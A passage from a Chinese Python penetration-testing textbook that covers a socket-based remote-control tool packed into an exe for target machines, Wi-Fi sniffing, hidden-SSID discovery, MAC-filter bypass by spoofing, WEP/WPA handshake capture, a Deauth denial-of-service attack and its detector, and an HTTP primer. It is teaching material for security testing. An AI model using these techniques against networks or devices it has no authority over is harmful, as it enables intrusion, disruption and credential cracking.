图11-4　显示出目标主机D盘下的所有目录和文件

11.2.2　远程控制的服务器端与客户端（socket模块实现）

现在已经掌握如何编写一段可以在本机上进行控制的程序，你可以将这个程序写得更加完善，例如监听系统的键盘和鼠标，对系统的当前屏幕进行截图，但是这需要一些Windows编程方面的知识。如果对此感兴趣，可以阅读一些Windows编程方面的资料。

接下来将使用socket模块来编写客户端与服务器端通信的程序。首先考虑客户端的工作流程，如图11-5所示。

图11-5　客户端的工作流程

编写的客户端程序可以将接收到的命令发送给客户端。

     import socket
     str_msg=input("请输入要发送信息：")
     s2 =socket.socket()
     s2.connect(("127.0.0.1",2345))
     #对传输数据使用encode()函数处理，Python 3不再支持str类型传输，需要转换为bytes类型
     str_msg=str_msg.encode(encoding='gbk')
     s2.send(str_msg)
     print (str(s2.recv(1024)))
     s2.close()

完成这个程序，并以clientTest.py为名保存。

而服务器端的实现要复杂一些，它的工作流程如图11-6所示。

图11-6　服务器端的工作流程

在服务器端的第4步需要使用accept()函数来获取请求的对象和地址。使用accept后会阻塞，直到有一个客户端请求连接，这时accept返回一个新的SOCKET s2，就用这个s2与客户端通信，一定不要用accept(s1,…)中的s1与客户端通信。然后再次调用accept(s1, …)为下一个客户端服务。下面给出了可以接收来自客户端命令的服务器端程序。

完成这个程序，并以serverTest.py为名保存。

首先启动服务器端程序serverTest.py，然后运行客户端程序clientTest.py，输入命令“dir d:”，如图11-7所示。

在服务器端可以看到如图11-8所示的执行结果。

图11-7　运行客户端程序clientTest.py

图11-8　在服务器端可以看到执行结果

这里subprocess.run()函数返回的output是一个CompletedProcess类型对象，这个对象无法直接通过网络从服务器端传递给客户端，如果希望能传输执行的结果，可以在subprocess.run()中添加一个参数，修改内容如下所示：

     ret = subprocess.run('dir', shell=True, stdout=subprocess.PIPE)

程序的执行结果会传递给stdout，如果直接输出ret.stdout，看到的将会是bytes类型。

     print(ret.stdout)

服务器端传回的原始数据如图11-9所示。

图11-9　服务器端传回的原始数据

如果查看平时的效果，需要对其进行解码。Windows中文版系统使用GBK编码，需要使用decode('gbk')才可以看见熟悉的中文。

     print(ret.stdout.decode('gbk'))

执行之后，显示的结果如图11-10所示。

图11-10　解码之后的原始数据

11.3　将Python脚本转换为exe文件

前面已经介绍了一个远程控制工具的开发过程，但是开发的脚本在执行时需要Python环境和模块文件的支持，而目标设备上往往不具备这种条件。将使用Python语言编写的远程控制工具变成在Windows下可以执行的exe文件，就可以解决这个问题。目前可以使用的工具有py2exe和Pyinstaller，经过测试，py2exe对Python 3.5以上版本的支持存在一些问题，所以这里使用Pyinstaller将py文件转换成exe文件。

在PyCharm的setting中导入Pyinstaller模块，就可以使用了。这是一个可以独立运行的模块。

若须打包某个文件，只需要执行如下命令。需要注意的是，这个命令并不是在Python环境中，而是需要在Windows的命令行中执行（见图11-11）。

     pyinstaller xxx.py

这个命令可以使用如下的选项进行修改。

□　-F：打包后只生成单个exe格式文件。

□　-D：默认选项，创建一个目录，包含exe文件以及大量依赖文件。

□　-c：默认选项，使用控制台（就是类似cmd的黑框）。

□　-w：不使用控制台。

□　-p：添加搜索路径，让其找到对应的库。

□　-i：改变生成程序的icon图标。

图11-11　在Windows中运行的Pyinstaller模块

例如编写一个脚本lookPID，将其转换为exe文件，就可以在命令行中使用如下命令：

     C:\Users\Administrator\PycharmProjects\test\venv\Scripts\pyinstaller.exe D:\
     test\lookPID.py -F

在命令行中执行这条命令的过程如图11-12所示。

图11-12　将lookPID脚本转换为exe文件

这个命令很长，其实就是由“pyinstaller.exe所在位置+要生成exe程序脚本位置+参数”构成的，显示结果如图11-13所示。

图11-13　成功转换

成功执行这个命令之后可以看到已经在指定位置成功生成了可执行文件，如图11-14所示。

图11-14　lookPID脚本成功转换成exe文件

11.4　小结

本章开始了渗透测试的一个新阶段，讲解了远程控制程序，并以Windows作为目标平台，以实例介绍如何使用Python编写一个远程控制程序。这个程序的功能还不完善，读者可以对其进一步完善。本章最后介绍了如何将Python程序转化为在Windows环境下直接运行的exe文件。

第12章　无线网络渗透（基础部分）

今时今日，人们已经越来越离不开无线网络，相比极为不便利的有线连接方式，便利的无线网络连接方式越来越受到人们的喜爱，几乎成为每个单位和家庭上网方式的首选。无线网络上网方式的普及除了带来便利，也为网络的安全带来隐患。因为传统的有线连接方式对设备的接入往往有较大的限制，因此外来者在试图进入网络时难度较大。以前通过网线连接计算机，而无线网络则是通过无线电波来联网，常见的就是无线路由器，在无线路由器电波覆盖的有效范围内都可以采用无线网络连接方式联网，而无线网络则降低了这种入侵的难度。

一般架设无线网络的基本配备就是无线网卡及一台AP，如此便能以无线的模式，配合既有的有线架构来分享网络资源，架设费用和复杂程度远远低于传统的有线网络。如果只是几台计算机的对等网，也可不要AP，只需要每台计算机配备无线网卡。AP为Access Point简称，一般翻译为“无线访问接入点”或“桥接器”。它主要在媒体存取控制层（MAC）中扮演无线工作站及有线局域网络的桥梁。有了AP，就像一般有线网络的Hub（扩展坞）一般，无线工作站可以快速且轻易地与网络相连。特别是对于宽带的使用，无线保真更显优势，有线宽带网络（ADSL、小区LAN等）到户后，连接到一个AP，然后在计算机中安装一块无线网卡即可。

通常这个AP是由无线路由器实现的，因此入侵方式包括无线网络密码的破解、路由器的控制等。在Kali Linux 2中有一个分类的工具集合都是针对无线网络的，这里面就包括了极为著名的aircrack-ng、kismet等。本章将会围绕如下几点来讲解。

□　无线网络基础。

□　Kali Linux 2中的无线设置。

□　如何使用Python语言对无线网络进行扫描。

□　如何使用Python语言编写一个无线数据嗅探器。

□　如何使用Python语言扫描某一个无线网络中的客户端。

□　如何使用Python语言找出隐藏的AP。

□　如何使用Python语言捕获网络中的加密数据包。

12.1　无线网络基础

在当今社会中，无线网络要比有线网络具备更大的竞争力，它更适合应用于现代化的企业和家庭。目前的无线网络大都采用了802.11作为标准，经常提起的Wi-Fi使用的就是这个标准。无线网络的常见组建方式有两种，分别是Ad-hoc模式和Infrastructure模式：

□　Infrastructure模式——无线网络与有线网络通过接入点进行通信，这个接入点被称为AP。

□　Ad-hoc模式——带有无线设备的计算机之间直接进行通信（类似有线网络的双机互联）。

现在的无线网络大都会采用Infrastructure模式，在这种模式下，AP会以极快的速度向外发送Beacon信标帧，以向外界声明自身的存在。这个Beacon信标帧中包含无线网络中的信息，例如定义无线网络名字的SSID，有时也会包含该无线网络支持的传输速率、所使用的通道和应用的安全机制。客户端收到这个Beacon信标帧之后，就可以获悉这个无线网络的存在。

另外一种客户端获取无线网络存在的方法是由客户端发送探测请求（Probe request），AP在收到探测请求之后会返回一个探测响应（Probe response），如图12-1所示。然后客户端会向AP发送一个认证（Authentication）数据包，如果认证成功，客户端会发送关联请求（Association request），AP在收到这个数据包之后，就会回复一个关联响应（Association response）。

图12-1　所有可以连接的AP

在上述过程中会涉及如下所示的数据帧：

□　Beacon信标帧，用来宣告某个网络的存在。AP定期向外发送Beacon信标帧，可让客户端得知该网络的存在。

□　探测请求帧，客户端会利用探测请求帧扫描所在区域内目前所有的无线网络。

□　探测响应帧，如果探测请求帧所探测的AP与客户端兼容，该AP就会以探测响应帧应答。

□　身份认证请求帧，由客户端发给AP用以表明自己身份的身份认证请求帧，用来完成身份验证。

□　身份认证请求帧，由AP发送给客户端的表示接受或者拒绝这次连接的身份认证请求帧。

□　关联请求帧，一旦客户端找到AP并通过身份验证，就会发送关联请求帧。

□　关联响应帧，当客户端试图关联AP时，AP会回复一个关联响应帧。

□　解除关联帧。

□　终结认证帧。

12.2　Kali Linux 2中的无线功能

12.2.1　无线网络嗅探的硬件需求和软件设置

前面已经介绍了无线网络连接的过程。在开始无线网络渗透之旅之前，必须做好硬件和软件的准备。需要注意的是，现在你手头的计算机和网卡可能并不能获取网络中的无线流量，所以需要做出一点改变。

首先必须有一块支持无线嗅探的网卡，注意，并非所有的USB外接网卡都可以做到这一点。本书介绍的实例中采用了一块支持Kali虚拟机的外接无线网卡，现在这种设备在网络购物平台上随处可见，价格也仅仅只有几十元钱，可以很容易购买到。需要注意的是，一定要支持在虚拟机中运行的Kali Linux 2。

在得到这台设备之后，就可以在VMware虚拟机中进行渗透测试了。首先需要将无线网卡插入主机的USB接口，之后在虚拟机中进行如下设置，依次选中“可移动设备”|你的无线网卡的名称（这里使用的是“CACE AirPcap Nx”）|连接（断开与主机的连接），如图12-2所示。

图12-2　将Kali Linux 2虚拟机与无线网卡连接

在Kali Linux 2虚拟机中，打开一个终端，检测网卡是否已经正常工作，这里可以使用命令“ip addr”查看网络连接情况，如图12-3所示。

图12-3　使用命令“ip addr”查看网络连接情况

这时出现的wlan0就是刚刚插入的无线网卡，现在这块网卡已经开始工作，但是还不要高兴得太早，因为还需要进行下一步的检测。

在终端中输入如下命令来启动wlan0：

     root@kali：airmon-ng start wlan0

执行这个命令之后，很快会出现如图12-4所示的监听模式界面。

图12-4　开启监听模式

耐心等待一段时间，如果出现了如图12-5所示的界面，那么恭喜，你的网卡可以使用了。

图12-5　成功创建wlan0mon接口

刚才的工作其实是将网卡设置为监听模式，而且系统使用的无线网卡建立了一个新的接口wlan0mon，在接下来的内容中都将使用这个接口。

12.2.2　无线网络渗透使用的库文件

本章的实例中需要两个库：一个是已经很熟悉的Scapy库；另一个是python-wifi库。首先介绍Scapy库中数据包类与12.1节中数据帧中的对应关系。

Dot11，这个类对应着通用帧，这个帧的格式可以使用ls命令来查看，如图12-6所示。

图12-6　使用ls命令来查看Dot11的格式

除了Dot11之外，Scapy库中还有很多类，这些类的名称和作用分别是：

□　Dot11Beacon，对应Beacon信标帧。

□　Dot11ProbeReq，对应探测请求帧。

□　Dot11ProbeResp，对应探测响应帧。

□　Dot11AssoReq，对应关联请求帧。

□　Dot11AssoResp，对应关联响应帧。

□　Dot11Auth，对应身份认证帧。

□　Dot11Deauth，对应终结认证帧，解除认证，可以用来实现拒绝服务攻击。

□　Dot11WEP，无线链路承载的上层数据被加密后，放在这里。

12.3　AP扫描器

本章中考虑的第一个问题就是身边都存在哪些无线网络，只有找到这些无线网络，才能确立渗透的目标。在Kali Linux 2中找到这些AP并不困难，只需要在终端中输入如下命令：

     kali@kali:~$ sudo airodump-ng wlan0mon

这时就会查找所有可以连接的无线网络。如果已经找到目标网络，可以按Ctrl+C组合键结束这次搜索。图12-7给出作者的设备所能搜索到的所有无线网络。

这是一个表格形式展示的无线网络信息，每一列代表的含义如下所示。

□　BSSID。热点的MAC地址。

□　PWR。无线网络的信号强度或水平。

□　Beacons。无线网络发出的通告编号。

□　ENC。加密方法，包括WPA2、WPA、WEP、OPEN。

□　CH。工作频道。

□　AUTH。使用的认证协议。

□　ESSID。无线网络名称。

图12-7　搜索到的所有无线网络

接下来编写一个功能相同的无线网络扫描器。这个扫描器用来扫描当前可以连接的无线网络。它的工作原理很简单，由于AP会不断地向外部发送Beacon信标帧，用来宣告自身网络的存在，而只需要使用设备来捕获所有的Beacon信标帧，并将其中的信息显示出来即可。具体代码如下：

这个程序的执行结果如图12-8所示。

图12-8　扫描到的无线网络

12.4　无线网络数据嗅探器

从12.3节中可以看到，大部分的AP都工作在channel 6，所以这里面将捕获数据的频道调整到channel 6，使用如下命令：

     kali@kali:~#sudo iwconfig wlan0mon channel 6

另外，如果在阅读本节之前关闭过计算机，就会发现wlan0mon已经不见了，系统的网卡重新又变成wlan0，这一点可以在程序中使用subprocess类调整，使用的命令语句如下：

     import subprocess
     subprocess.call('airmon-ng start wlan0',shell=True)

其实，这里利用subprocess在程序中执行了airmon-ng start wlan0命令，这样就无须每次重启都在终端中输入上述命令。

捕获无线网络中数据包的方法与捕获有线网络的数据包的方法一样，都使用sniff()函数，需要注意的是，只是使用的网卡不同。具体代码如下：

     from scapy.all import *
     import subprocess
     subprocess.call('airmon-ng start wlan0',shell=True)
     iface = "wlan0mon"
     def dump_packet(pkt):
        print(pkt.summary())
     while True:
         sniff(iface=iface,prn=dump_packet,count=10,timeout=3,store=0)

执行上述程序，可以看到捕获了大量的无线网络数据包，如图12-9所示。

图12-9　捕获无线网络中的数据包

12.5　无线网络的客户端扫描器

按照12.1节中给出的无线网络连接过程，每一个无线设备在和AP连接的时候都需要向其发送一个ProbeReq数据包，而AP会返回一个ProbeResp数据包。这样只要捕获到网络中的所有ProbeReq数据包，就可以知道当前网络中有哪些设备连接到AP上。

这里搭建一个名为test的热点，然后编写如下程序，在这个程序中指定参数为test，然后执行该程序。这个程序会捕获客户端与AP连接的所有ProbeReq数据包。

这个程序的执行结果如图12-10所示。

图12-10　捕获到的ProbeReq数据包

但是执行这个程序之后，fm.info中并没有显示出AP的名称，所以需要对这个程序进行一些调整，将Dot11ProbeReq替换为Dot11ProbeResp。修改完的程序如下所示：

这个程序的执行结果如图12-11所示。

图12-11　捕获到的Dot11ProbeResp数据包

12.6　扫描隐藏的SSID

很多安全方面的文献中提到可以将热点隐藏起来，这样可以保证无线网络的安全，这样的确可以提高一些安全性，但是并不能仅此高枕无忧。实际上有很多办法可以找出那些隐藏的热点。隐藏热点的原理实际上是关闭了无线信号的SSID广播，使得无线终端无法扫描到该路由器的名称。图12-12展示了如何创建一个隐藏SSID的热点。

图12-12　创建一个隐藏SSID的热点

作为渗透测试者，有必要找出那些已经被设置为隐藏SSID的热点，因为这些热点也有可能被黑客作为入侵的入口。检测的方法是首先启动wlan0mon，然后编写程序进行搜寻。编写程序的思路是：如果一个客户端连接这个隐藏的热点，会发送“Probe Request”类型的数据包，只需要找到目的地址（Destination）为Broadcast，并且为“Probe Request”的数据包就可找到隐藏的SSID名称，程序如下所示：

程序的执行结果如图12-13所示。

图12-13　找到的隐藏SSID

12.7　绕过目标的MAC过滤机制

无线网络的管理者们经常会采用过滤MAC地址的方式，例如图12-14所示的路由器就限制只有MAC地址为00-0A-F5-89-89-FF的设备才能连接网络。

图12-14　具备限定MAC地址的设备能访问无线网络

不过这种安全机制很容易被突破，黑客可以通过修改自己设备的MAC地址达到连接无线网络的目的。不过黑客有什么办法才能知道管理者们限定的MAC地址呢？方法就是12.5节中介绍的扫描方法，使用这个程序监听目标无线网络，只要一有合法MAC地址的设备登录到目标网络，立刻就可以获知这台登录设备的MAC地址。例如图12-15就是捕获的一个结果。

图12-15　获取的客户端MAC地址

如果在此之前开启了监听模式，则需要关掉监听，执行

     sudo airmon-ng stop wlan0mon

当前设备的MAC地址如图12-16所示。

图12-16　当前设备的MAC地址

修改设备MAC地址的方法很简单，命令的格式为：

     ip link set 网卡名称 address 指定MAC地址

现在将本机的MAC地址修改为00:0a:f5:89:89:ff，通常仅仅需要在渗透测试期间修改MAC地址，因此无须永久保存，采用如下方法即可（这种方法在重启之后会失效）：

首先需要停止网卡。

     kali@kali:~# ip link set wlan0 down

然后修改网卡的硬件地址。

     kali@kali:~$ sudo ip link set wlan0 address 00:0a:00:0a:88:99

重新启动网卡。

     kali@kali:~# ip link set wlan0 up

使用“ip addr”命令查看当前的网卡设置，如图12-17所示。

图12-17　通过“ip addr”命令查看当前的网卡设置

可以看到网卡的硬件地址已经和目标手机的MAC地址一样了。现在再去连接目标网络，就可以成功连接。

修改网卡地址的完整程序如下：

     import subprocess
     subprocess.call('ip link set wlan0 down',shell=True)
     subprocess.call(' ip link set wlan0 address 00:0a:00:0a:88:99',shell=True)
     subprocess.call('ip link set wlan0 up',shell=True)

12.8　捕获加密的数据包

12.8.1　捕获WEP数据包

目前无线网络大都采用密码访问的安全机制，常用的加密方式有WEP、WPA和WPA2等。现在普遍认为WEP是一种不安全的加密方式，只要收集足够多的有效数据包就可以从数据包中提取出密码碎片，然后利用这些密码碎片计算出WEP的密码。接下来编写一个程序来专门收集网络中通过WEP加密的数据包。思路是使用sniff()捕获在网络中传播的数据包，如果该数据包中有Dot11WEP属性，就将其存储在wep_handshake.pcap中，完整的程序如下：

不过目前已经很难找到使用WEP加密的无线网络了。

12.8.2　捕获WPA类型数据包

WPA是用来替代WEP的，它继承了WEP的基本原理且弥补了WEP的缺点。WPA加强了生成加密密钥的算法，因此即便收集到分组信息并对其进行解析，也几乎无法计算出通用密钥。WPA中还增加了防止数据中途被篡改的功能和认证功能。

现在已经有人研究出针对WPA加密破解的方法，本书不详细讲解破解的原理，只介绍一下过程。只需要捕获WPA的四次握手过程中产生的数据包，也就是在建立连接时的4个EAPOL类型的数据包。这需要有设备登录目标网络时才能捕获到，所以通常的做法是先对网络进行攻击，让客户端都掉线，然后监听网络，这时客户端重新登录就会产生登录数据包，一台设备登录过程中会产生4个数据包。程序如下：

成功捕获4个数据包之后，就可以对其进行破解。这个破解的过程需要使用字典进行计算，这里最好使用专门的工具，例如Aircrack。

12.9　小结

本章总结了无线网络的多种渗透方式。首先介绍Python进行编程所需要的模块，接着讲解如何扫描出可以连接的热点。同时介绍了如何找出隐藏热点的方法。紧接着讲解了如何使用Python捕获无线网络中的数据包，并对这些数据包分类，找出其中使用WEP和WPA加密的数据包。

事实上，无线网络确实并不像大多数人预想的那么安全。本章以实例的形式介绍了几个使用Python编写的程序，这些程序可以有效地帮助相关人员完成渗透任务。

第13章　无线网络渗透（高级部分）

第12章已经对无线网络渗透进行了学习，在本章将继续学习。本章会承接第12章中的内容，详细模拟无线网络中客户端与服务器端的连接过程。另外，本章也将介绍如何发起断开客户端连接的过程。

本章将就如下几点展开讲解。

□　使用Python模拟无线客户端的连接过程。

□　使用Python模拟AP的连接过程。

□　使用Python编写Deauth攻击程序。

□　使用Python编写Deauth攻击检测程序。

13.1　模拟无线客户端的连接过程

第12章介绍了无线网络的一些特点，但是无线网络和有线网络数据包的格式完全不一样，无线网络数据包的格式可以分成管理、控制和数据3种不同类型。其中，进行监督、管理和退出的数据包就是控制类型，这也是本章要介绍的重点。这些数据包与Scapy的对应关系可以参见12.2.2节。控制类型的数据包包括探测请求、探测响应、关联请求、关联响应、身份认证和终结认证。这里以探测响应数据包为例进行介绍，图13-1给出了一个图示。

图13-1　Probe response数据包的格式

这是一个探测响应类型的管理数据包，可以看到，除了Frame之外，这个数据包的第一层是Radiotap，这一层包括的信息如图13-2所示。

图13-2　Radiotap部分的内容

Radiotap层包含如信号强度、频率等信息，但是在Scapy中填充这一层很简单，只需要使用RadioTap()即可。如果需要计算信号强度，可以查看Radiotap协议层中的Antenna signal字段。可以看到通过ls（RadioTap()）已经完全解析出来，如图13-3所示。

图13-3　完全解析出来的信息

下面给出了一个可以显示无线网络信号强度的程序。

该程序运行结果如图13-4所示，这里的rssi值就是信号强度。

图13-4　显示无线网络信号强度

Dot11()/Dot11ProbeReq()构成了IEEE 802.11 Probe Response部分，这里使用ls命令查看Dot11()的格式，如图13-5所示。

图13-5　Dot11()的格式

这里面的参数仍然很多，需要考虑的只有subtype、addr1、addr2和addr3。subtype和type用来表示数据包的控制类型，例如Probe response是0x0005。另外，这3个地址对应的值并不固定，往往和控制类型有关。不同的子类型会有一些微小的差别，最常见的对应类型如下。

□　从AP发出，addr1对应目的地址，addr2对应BSSID，addr3对应源地址。

□　发往AP，addr1对应BSSID，addr2对应源地址，addr3对应目的地址。

Dot11Elt()用来传输数据，这个函数很简单，它的格式可以使用ls（Dot11Elt()）查看，如图13-6所示。

图13-6　Dot11Elt()的格式

其中，ID表示名称，len表示长度，info表示信息。

为了更好地了解无线连接的过程，接下来编写一个模拟客户端连接过程的程序。连接建立过程中由客户端主动发起的步骤有以下3个。

（1）客户端向AP发送一个探测请求。探测请求的数据包构造格式如下：

（2）客户端向AP发送一个身份认证请求。身份认证请求的数据包格式如下：

（3）客户端向AP发送一个关联请求。关联请求的数据包格式如下：

使用Python编写连接建立过程中3个步骤的完整程序如下：

13.2　模拟AP的连接行为

AP和客户端是无线网络的两个部分，两者的行为也是相互关联的，针对客户端的3个行为，AP也有相对应的处理：

（1）客户端向AP发送一个探测请求，AP会回应一个探测应答。

（2）客户端向AP发送一个身份认证请求，AP会回应一个身份认证应答。

（3）客户端向AP发送一个关联请求，AP会回应一个关联应答。

具体的做法是：首先将网卡设置为监听模式，接着使用Scapy中的sniff()函数捕获网络中的数据包，然后调用handle_packet()函数处理捕获到的每一个数据包。按照前面介绍的过程，如果捕获到探测请求类型的数据包，就调用send_probe_response()函数来发送探测响应类型的数据包。具体代码如下：

     if packet.haslayer(Dot11ProbeReq):
         send_probe_response(packet)

根据Dot11Elt的头部格式，需要定义SSID、Rates、Channel以及扩展的传输率（ESRates）。其中Rates的值可以利用函数get_rates()从探测请求数据包中获取，这个函数会搜索整个数据包的ELT部分来查找这个速率。如果在目标数据包中没有搜索到这个值，可以使用1Mb、2Mb、5.5Mb或11Mb作为默认值。

如果handle_packet()函数检测到捕获的为身份认证数据包，那么会调用函数send_auth_response()。

     if packet.haslayer(Dot11Auth):
         send_auth_response(packet)

不过这个函数首先会判断数据包是否为本机发出的，在身份认证阶段可以利用seqnum的值来获悉该数据包是请求包还是应答包。

如果捕获到的是关联数据包。

     if packet.haslayer(Dot11AssoReq):

那么这时调用send_association_response()。

     send_association_response(packet)

它会创建一个连接回应数据包，其中AID=2，它的作用与认证阶段的seqnum相类似。

下面分别创建send_probe_response()、send_auth_response(packet)与send_association_response(packet) 3个函数。

send_probe_response()的内容如下：

send_auth_response(packet)的内容如下：

send_association_response(packet)的内容如下：

最后定义一个主函数，这个函数将会根据具体情况调用上述3个函数来完成模拟AP的连接过程，这个主函数的代码如下：

13.3　编写Deauth攻击程序

Deauth攻击又称取消验证攻击。Deauth攻击是无线网络拒绝服务攻击的一种形式，目的是向目标发送一个取消身份验证帧来将客户端转为未关联／未认证的状态。这种形式的攻击在打断客户端无线服务方面非常有效和快捷。不过，客户端在断开连接之后，往往会重新关联和认证以再次获取服务。这时需要攻击者反复欺骗取消身份验证数据包才能实现攻击的目的。

这里通过Dot11Deauth()来构造取消身份验证的数据包。这个函数可以接受0~9作为参数，这里使用3（表示AP离线）。Dot11()中的dest是要踢掉的设备MAC，bssid表示AP。

完整的代码如下：

13.4　无线网络入侵检测

最后编写一个程序，这个程序的作用是检测网络中是否存在Deauth拒绝服务攻击或者中间人攻击等入侵行为。其中函数handle_packet()是核心功能，它将会检测捕获的数据包是否为Deauth类型的数据包。这里会将Deauth类型的数据包的出现次数和源地址记录在一个列表中，这个列表中有两列，其中，deauth_times用来保存出现次数，deauth_addrs用来保存源地址。这里面需要定义一个阈值nr_of_max_deauth，当一定时间内内容相同的Deauth类型数据包出现的次数高于阈值，就认为这个数据包是Deauth攻击所发出的。具体代码如下：

13.5　小结

本章拓展了第12章的内容，无线网络的安全问题是现在十分热门的一个问题。本章首先使用Python语言编写在一次连接过程中客户端和AP的各自行为，然后介绍了如何利用Python语言发起网络中的Deauth攻击，最后给出一个可以检测这种攻击的程序。

在第14章将开始介绍另一个网络安全的热点：Web应用的研究。

第14章　对Web应用进行渗透测试

HTTP是Hyper Text Transfer Protocol（超文本传输协议）的缩写，它是当前互联网上最为重要的协议之一。在很多人的心目中，Internet已经等同于HTTP。

目前互联网上的大部分应用都使用了HTTP，这些应用包括但不限于电子商务、搜索引擎、论坛、博客、社交网络、电子政务等。谷歌甚至推出了一款基于HTTP的操作系统Chrome OS，只需要一个浏览器就可以完成操作系统的功能。如果要将应用程序发布到互联网上供人使用，就可以使用Web服务，这种程序也被称为Web应用，而这种应用使用的是HTTP。

不过，正是由于HTTP的普遍应用，这个协议也成了网络安全的重灾区。所以，在进行网络安全渗透测试时，对Web应用的检查是十分重要的一个环节。

本章将从以下3个主题展开对Web应用进行渗透测试的学习。

□　什么是HTTP？

□　Python对Web应用进行渗透的模块。

□　使用Python对Web应用进行渗透的常用实例。

□　使用Python完成验证码识别。

□　HTTP简介。

HTTP是一个无状态的明文传输协议，这意味着每次的请求都是独立的，它的执行情况和结果与前后的请求都是没有关系的。其实这个协议在设计之初主要考虑的因素是便捷，而没有考虑到安全。平时上网使用的就是HTTP，例如在一个打开的火狐浏览器的地址栏中输入“www.baidu.com”，就是通过HTTP完成的数据通信。浏览器会根据在地址栏中输入的内容向目标服务器发出请求，目标服务器在收到请求之后会给出回应，将数据发回给浏览器，如图14-1所示。

图14-1　通过浏览器打开一个页面

图14-2　在Wireshark中设置过滤器

下面更详细地观察一下这次数据通信的过程。首先在Kali Linux 2中启动Wireshark，然后设置一个如图14-2所示的过滤器。

捕获这次通信的数据包，如图14-3所示。

图14-3　使用Wireshark捕获到的HTTP数据包

从这次通信可以看到，在这个数据包中显示了一个“GET /HTTP/1.1”信息，其中GET是HTTP方法中的一个。HTTP的方法主要有如下几个。

□　GET：请求资源。

□　HEAD：类似于GET请求，但是只请求页面的首部。

□　POST：向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。POST请求可能会导致新的资源的建立和／或已有资源的修改。

□　PUT：创建或者更新资源。

□　DELETE：请求服务器删除指定的页面。

□　CONNECT：HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

□　OPTIONS：列出服务器支持的所有方法、内容类型和编码方式。

□　TRACE：回显服务器收到的请求。

在整个HTTP中实际起作用的只有客户端（浏览器）和服务器端（服务器）两个角色，其中客户端完成的操作流程如图14-4所示。

这里的通信使用了HTTP Request与HTTP Response。其中HTTP Request由请求方法URI协议／版本、请求头（Request Header）、请求正文（Request Body）3部分组成。

请求方法URI协议／版本位于HTTP Request的首行，包含HTTP Request Method、URI、Protocol Version 3部分，例如“GET /test.html HTTP/1.1”表示HTTP Request Method为GET方法，URI为/test.html，HTTP版本号为1.1。

图14-4　服务器端与客户端之间的连接

请求头部分为Request的头部信息，包含编码、请求客户端类型等信息。

请求正文部分包含Request的主体信息，与HTTP Request Header之间隔开一行。

HTTP Response的数据格式与HTTP Request类似，也包含3部分信息，由状态行、响应头（Response Header）、响应正文（Response Body）组成。

状态行由协议版本、数字形式的状态代码、相应的状态描述组成，各元素之间以空格分隔。其中状态代码由3位数字组成，表示请求是否被理解或被满足。常见的状态代码有如下几种。

□　200 Successful request：请求已成功，请求所希望的响应头或数据体将随此响应返回。

□　201 Resource was newly c：请求已经被实现，而且有一个新的资源已经依据请求的需要而建立，且其URI已经随Location头信息返回。假如需要的资源无法及时建立，应当返回202 Accepted。

□　301 Resource moved perm：永久移动。请求的资源已被永久地移动到新URI，返回信息会包括新的URI，浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替。

□　307 Resource moved temp：临时重定向。

□　400 Invalid request：客户端请求的语法错误，服务器无法理解。

□　401 thorization required：要求请求用户的身份认证。

□　403 cess denied：服务器理解请求客户端的请求，但是拒绝执行此请求。

□　404 Resource could not be：服务器无法根据客户端的请求找到资源（网页）。通过此代码，网站设计人员可设置“您所请求的资源无法找到”的个性页面。

□　405 Method not allowed：客户端请求中的方法被禁止。

□　500 Internal server error：服务器内部错误，无法完成请求。

14.1　渗透测试所需模块

Python中提供了大量用来处理HTTP的模块，例如urllib、urllib2、urllib3、httplib、httplib2、request和BeautifulSoup模块。这些模块的功能之间有重合，所以经常会看到有些相同功能的程序却使用了不同的模块文件。首先讲解在本章会用到的模块文件。

14.1.1　requests库的使用

requests是Python中很有用的一个第三方库，通过这个库可以轻松地访问网页。requests中提供了很多实用的函数。

requests.get()：这是requests中最为常用的两个函数之一，只需要向这个函数提供一个网址，它就可以创建一个表示远程url的response对象，然后像对本地文件一样对其进行操作。

使用之前需要导入requests库。

     >>> import requests

然后使用requests.get()函数打开一个链接地址，并将返回的内容保存到response中。

     >>> response=requests.get("http://www.nmap.org")

可以对get()返回的类文件对象进行如下操作。

response.content：用来获取bytes类型的响应。

执行如下语句将会返回页面的全部html代码，如图14-5所示。

     >>> response.content

图14-5　返回页面的全部html代码

response.text：用来获取bytes类型的响应。

response.headers：用来获取响应头。

执行如下语句将会返回页面的headers信息，如图14-6所示。

     >>>response.headers

response.status_code：返回HTTP状态码。如果是HTTP请求，例如“200”表示请求成功完成，而“404”表示网址未找到，如图14-7所示。

图14-6　返回该页面的headers信息

response.url：该url属性的值将是任何重定向后获得的最终URL，如图14-8所示。

图14-7　使用getcode()获得状态码

图14-8　获取真实打开的地址

requests中第二个常用的函数是requests.post()，这个函数的完整格式为requests.post(url, data = data, headers=headers)，前3个参数的含义如下所示。

□　URL：是一个字符串，其中包含一个有效的URL。

□　data：是一个字符串，指定额外的数据发送到服务器，如果没有data需要发送可以为“None”。

□　headers：一个字符串形式表示的HTTP请求头部。

14.1.2　其他常用模块文件

除了requests之外，在Web应用的渗透过程中还会用到很多种模块。下面给出了一些常见模块的简单介绍。

1．Beautiful Soup模块

Beautiful Soup模块提供了一些简单的、Python式的函数，用来处理导航、搜索、修改分析树等功能。它是一个工具箱，通过解析文档为用户提供需要抓取的数据，因为简单，所以不需要多少代码就可以写出一个完整的应用程序。

2．Cookielib模块

Python中的Cookielib模块（Python 3中为http.cookiejar）为存储和管理Cookie提供客户端支持。该模块主要功能是提供可存储Cookie的对象。使用此模块捕获Cookie并在后续连接请求时重新发送，还可以用来处理包含Cookie数据的文件。这个模块主要提供了CookieJar、FileCookieJar、MozillaCookieJar、LWPCookieJar等几个对象。

14.2　处理HTTP头部

在浏览器地址栏中输入URL地址并按下回车键之后，浏览器会向目标服务器发送一个HTTP Request数据包，这个数据包的内容是由浏览器所决定的。现在使用Python来自行设计一个HTTP Request数据包的头部。

HTTP消息头是在客户端请求或服务器响应时发出的，位于请求或响应的开始部分，后面才是HTTP消息体（请求或响应的内容）。消息头中的内容是冒号分隔的键-值对，如Accept: text/plain，每一个消息头最后以回车符（CR）和换行符（LF）结尾。由于HTTP消息头包含的内容比较多，这里只介绍几个比较常见的消息头，如表14-1所示。

表14-1　常见的消息头

按照这个格式构造一个header，并使用get()将其发送出去，编写的程序如下：

     import requests
     url= "http://www.baidu.com"
     #构造Request数据包的头部
     headers = {
      'Host':'www.baidu.com', 'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0)
     Gecko/20100101 Firefox/16.0', 'Accept':'text/html,application/xhtml+xml,
